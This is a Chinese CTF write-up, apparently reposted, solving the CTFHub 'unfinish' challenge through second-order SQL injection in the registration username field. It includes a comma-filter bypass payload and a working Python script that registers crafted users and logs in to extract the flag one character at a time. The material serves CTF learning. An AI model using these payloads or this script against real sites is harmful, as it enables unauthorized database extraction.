CTFHub-unfinish


unfinish

打開是一個手機模板的登錄頁面,看了下源碼,發現有個文件夾./uploads/,亂掃一通什么都沒有

還是到登陸頁面,先試試萬能密碼

有提示,看了下input標簽,是前端檢測,用burp抓包開始fuzz

嘗試了請求頭,email和password注入,包括post數組嘗試報錯,都沒有用

emmmmm,思路斷了

去看了wp,發現是要嘗試注冊頁面,接着做(思路太窄了

登陸進來什么都沒有,只顯示了用戶名

而用戶名是可控的,推測注冊用戶時會使用

insert into table value('$email','$username','$password')

嘗試一下這里是不是二次注入(這里注入,登陸后可以看到結果

語句0' + ascii(substr(database(),1,1)) +'0被過濾

嘗試了一遍,這里會檢測逗號,用from 1 for 1代替掉逗號就行

0' + ascii(substr(database() from 1 for 1)) +'0

登錄之后可以看到ascii碼

之后寫腳本跑就可以了

這里在寫腳本之前測試了一下被ban掉的關鍵字,emmmm,information_schema被ban了,那么就爆不了表名,所以猜測表名為flag,測試了一下表名確實為flag,剩下的硬跑就可以了

注冊頁面:./register.php

登陸頁面:./login.php

這里給出爆破的腳本(偷了個懶,沒加結束檢測,看到flag爆完手動ctrl + c

import requests
import re


register_url = 'http://challenge-c32051a67059fd4a.sandbox.ctfhub.com:10080/register.php'
login_url = 'http://challenge-c32051a67059fd4a.sandbox.ctfhub.com:10080/login.php'


for i in range(1, 100):
    register_data = {
        'email': '111@123.com%d' % i,
        'username': "0' + ascii(substr((select * from flag) from %d for 1)) + '0" % i,
        'password': 'admin'
    }
    res = requests.post(url=register_url, data=register_data)

    login_data = {
        'email': '111@123.com%d' % i,
        'password': 'admin'
    }
    res_ = requests.post(url=login_url, data=login_data)
    code = re.search(r'<span class="user-name">\s*(\d*)\s*</span>', res_.text)
    print(chr(int(code.group(1))), end='')


爆出flag

我的做題思路比較窄,比如這里的登陸頁面聯想到注冊頁面,還需要多做多看

這里的二次注入也不是很熟悉,我的理解有點僵硬,覺得只能是單次請求的兩次查詢,這種思想要改正

多肝,共勉


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM